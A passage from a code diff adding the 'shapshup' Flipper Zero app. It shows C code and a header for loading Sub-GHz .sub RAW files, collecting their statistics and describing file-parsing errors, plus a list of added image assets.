+        TAG, "total_count: %lld, total_len: %lld", instance->total_count, instance->total_len);
+
+    furi_string_free(temp_str);
+    flipper_format_file_close(fff_data_file);
+    flipper_format_free(fff_data_file);
+
+    furi_record_close(RECORD_STORAGE);
+
+    return instance;
+}
+
+void clean_raw_values(ShapShupRawFile* raw_file) {
+    if(raw_file != NULL) {
+        array_raw_clear(raw_file->values);
+        free(raw_file);
+        raw_file = NULL;
+    }
+}
+
+static const char* shapshup_file_result_descriptions[] = {
+    [ShapShupFileResultOk] = "OK",
+    [ShapShupFileResultOpenError] = "Error open file",
+    [ShapShupFileResultIncorrectHeader] = "Missing or incorrect header",
+    [ShapShupFileResultTypeOfVersionMismatch] = "Type or version mismatch",
+    [ShapShupFileResultNotRawFile] = "Not RAW file",
+    [ShapShupFileResultMissingFrequency] = "Missing Frequency",
+    [ShapShupFileResultMissingPreset] = "Missing Preset",
+    [ShapShupFileResultMissingProtocol] = "Missing Protocol",
+    [ShapShupFileResultKeyNotFound] = "Key not found",
+    [ShapShupFileResultUnknown] = "Unknown error",
+};
+
+const char* shapshup_files_result_description(ShapShupFileResults index) {
+    return shapshup_file_result_descriptions[index];
+}

+ 79 - 0
non_catalog_apps/shapshup/helpers/shapshup_files.h

@@ -0,0 +1,79 @@
+#pragma once
+#include <furi.h>
+#include "m-array.h"
+#include <toolbox/path.h>
+#include <flipper_format_i.h>
+#include <flipper_format_stream_i.h>
+
+/**
+ * @brief file operation result response
+ * 
+ */
+typedef enum {
+    ShapShupFileResultOk,
+    ShapShupFileResultOpenError,
+    ShapShupFileResultIncorrectHeader,
+    ShapShupFileResultTypeOfVersionMismatch,
+    ShapShupFileResultNotRawFile,
+    ShapShupFileResultMissingFrequency,
+    ShapShupFileResultMissingPreset,
+    ShapShupFileResultMissingProtocol,
+    ShapShupFileResultKeyNotFound,
+    ShapShupFileResultUnknown,
+    ShapShupFileResultTotal
+} ShapShupFileResults;
+
+/**
+ * @brief Construct a new array def object
+ * 
+ */
+ARRAY_DEF(array_raw, int32_t)
+
+/**
+ * @brief contains info about .sub file
+ * 
+ */
+typedef struct {
+    ShapShupFileResults result;
+    uint32_t frequency;
+    uint64_t total_len;
+    uint64_t total_count;
+    int32_t min_value;
+    int32_t max_value;
+    uint64_t min_len;
+    uint64_t max_len;
+    array_raw_t values;
+} ShapShupRawFile;
+
+/**
+ * @brief load_file_shapshup
+ * 
+ * @param file_path 
+ * @return ShapShupRawFile* 
+ */
+ShapShupRawFile* load_file_shapshup(const char* file_path);
+
+/**
+ * @brief read_int32_shapshup
+ * 
+ * @param stream stream to read
+ * @param _data return readed data
+ * @param data_size size of data to read
+ * @return true/false
+ */
+bool read_int32_shapshup(Stream* stream, int32_t* _data, uint16_t data_size);
+
+/**
+ * @brief get description about file operation
+ * 
+ * @param result_code struct @see ShapShupFileResults
+ * @return human readable description about result code
+ */
+const char* shapshup_files_result_description(ShapShupFileResults result_code);
+
+/**
+ * @brief make clean of array to read new values
+ * 
+ * @param raw_file @see ShapShupRawFile
+ */
+void clean_raw_values(ShapShupRawFile* raw_file);

BIN
non_catalog_apps/shapshup/images/ButtonDown_7x4.png


BIN
non_catalog_apps/shapshup/images/ButtonUp_7x4.png


BIN
non_catalog_apps/shapshup/images/DolphinNice_96x59.png


BIN
non_catalog_apps/shapshup/images/Ok_btn_9x9.png


Некоторые файлы не были показаны из-за большого количества измененных файлов